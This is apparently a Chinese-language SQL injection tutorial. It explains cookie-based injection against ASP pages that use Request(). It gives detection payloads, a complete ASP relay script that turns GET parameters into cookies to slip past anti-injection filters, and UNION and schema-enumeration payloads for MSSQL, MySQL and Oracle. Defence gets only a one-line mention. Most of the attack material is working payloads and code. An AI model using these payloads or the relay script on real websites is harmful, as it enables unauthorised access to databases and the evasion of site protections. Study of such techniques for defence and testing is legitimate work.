注意:本文分享给安全从业人员,网站开发人员和运维人员在日常工作中使用和防范恶意攻击,请勿恶意使用下面描述技术进行非法操作。

0x00 数据库分类SQL注入原理分析

0.SQL测试语句
# 检测语句
and 1 = 1 # 不用说了,大家都明白
xor 1 = 2 # 异或,此时正常返回数据


# 注入判断
and exists(select * from [admin]) #判断admin表段是否存在
and (select count(*) from [admin])
1.ACCESS数据库

1) Cookie中转注入原理
cookie注入的形成有两个必须条件:

  • 条件1是:程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。
  • 条件2是:在条件1的基础上还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指明使用request对象的具体方法进行获取。

做过ASP开发的大佬们都知道,Request.QueryString (GET) 或 Request.Form (POST) 用于读取用户发给WEB服务器的指定键中的值,但是有时候在开发时直接使用了Request()对象。
如:ID=Request(“ID”) , 如果未对cookie进行过滤这将会导致SQL风险;通过asp的Request对象使用文档知道 ASP WEB服务是怎样读取数据的,它是先取GET中的数据,没有再取POST中的数据,还会去取Cookies中的数据;

一般的防注入系统,会检测GET和POST中的数据,如果有特殊字符(这里当然是注入字符了)!就禁止数据的提交, 但是由于他没有检测Cookies的数据!问题就来了~~~
比如:

SQL Cookies 中断注入点:http://weiyigeek.xxx/index.asp?ID=1024  --#加载网页,显示正常

http://weiyigeek.xxx/index.asp --#加载网页,显示不正常(没有输参数的原因)

--#下面我们以手动测试为例
1.打开浏览器的js控制台
> document.cookie="ID=1024" --#重新加载网页,显示正常

2.进行SQL注入测试判断
> avascript:alert(document.cookie="id="+escape("123 and 3=3"));
> avascript:alert(document.cookie="id="+escape("123 and 3=4"));
> avascript:alert(document.cookie="id="+escape("123 order by n")); --#拆解有几个字段数


3.可以采用中转注入工具进行注入中转。
其实就是启动一个ASP解析服务器,然后生成一个本地的asp文件来转发get请求写入到COOKIE列表,然后提交给被攻击的网站中,即中转注入。
<%
JmdcwName=request("jmdcw")
JmdcwName=escape(JmdcwName)
JmStr="Name=123&ID="&JmdcwName
JMUrl="http://127.0.0.1/目录/注入页.asp" '注入点
JmRef="http://127.0.0.1/6kbbs/bank.asp" '来源页
JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
JmCok=JmCok & ";" & Jmstr &";"
JmCok=URLEncoding(JmCok)
JmStr="jmdcw=00" '注入参数
response.write PostData(JMUrl,JmStr,JmCok,JmRef)

Function PostData(PostUrl,PostStr,PostCok,PostRef)
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http

.Open "POST",PostUrl,False
.SetRequestHeader "Content-Length",Len(PostStr)
.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
.SetRequestHeader "Referer",PostRef
.SetRequestHeader "Cookie",PostCok
.Send PostStr
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function

Function bytes2BSTR(vIn)
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function

Function URLEncoding(vstrin)
strReturn=""
Dim i
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符 'strReturn=Replace(strReturn,过滤字符,"转换为字符") 在此增加要过滤的代码
URLEncoding=strReturn
End Function
%>

提示: 如果程序员是用 Request.QueryString 或 Request.Form 获取数据的话,是无法利用Cookies绕过防注入系统进行注入的,因为服务程序是直截从GET或POST中读取数据的,Cookies是否有数据,WEB服务器是不理的,所以就无法利用了!~
防御: 1.不要直接使用Request()对象 ; 2.非要使用必须进行Cookie数据进行验证。

2.mssql 数据库

MSSQL的SQL注入附录:

#枚举数据库:
获取当前用户名 id=12 union select null, null, user, null from master..sysdatabases
获取数据库列表 id=12 union select null, null, name,null from master..sysdatabases
获取当前数据库名 id =12 union select null,null,db_name(),null from master..sysdatabases;
获取表名: Id=12 union select null,null,name,null from sysobjects where xtype='u'
获取字段名: Id =12 union select null,null,col_name(object_id('table_name'), 1), null from sysobjects

3.mysql 数据库

MYSQL的SQL注入附录:

#系统信息
union all select @@global.version_compile_os from mysql.user /*

#数据库信息
Select user() / version() / database() #获取当前用户/版本/数据库
Select schema_name from information_schema.schemata #获取数据库列表
Select table_name from information_schema.tables where table_schema='current_db' #获取表名
SELECT COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='tablename' #获取字段名

and ord(mid(user(),1,1)) = 114 /* #数据库权限判断,返回正常说明是Root

4.oracle 数据库

ORACLE的SQL注入附录:

#Oracle只能访问一个数据库,无法枚举数据库
获取当前用户表名:select table_name from user_tables
获取所有表名及拥有者 select owner, table_name from all_tables
获取字段名 select column_name from user_tab_columns where table_name='table'

0x01 SQL注入实例

0x02 SQL绕过案例

1) 常用绕过技巧列表

1. GET -> POST 绕过 或者 POST -> GET 请求
2. Cookies 注入 或者 中转注入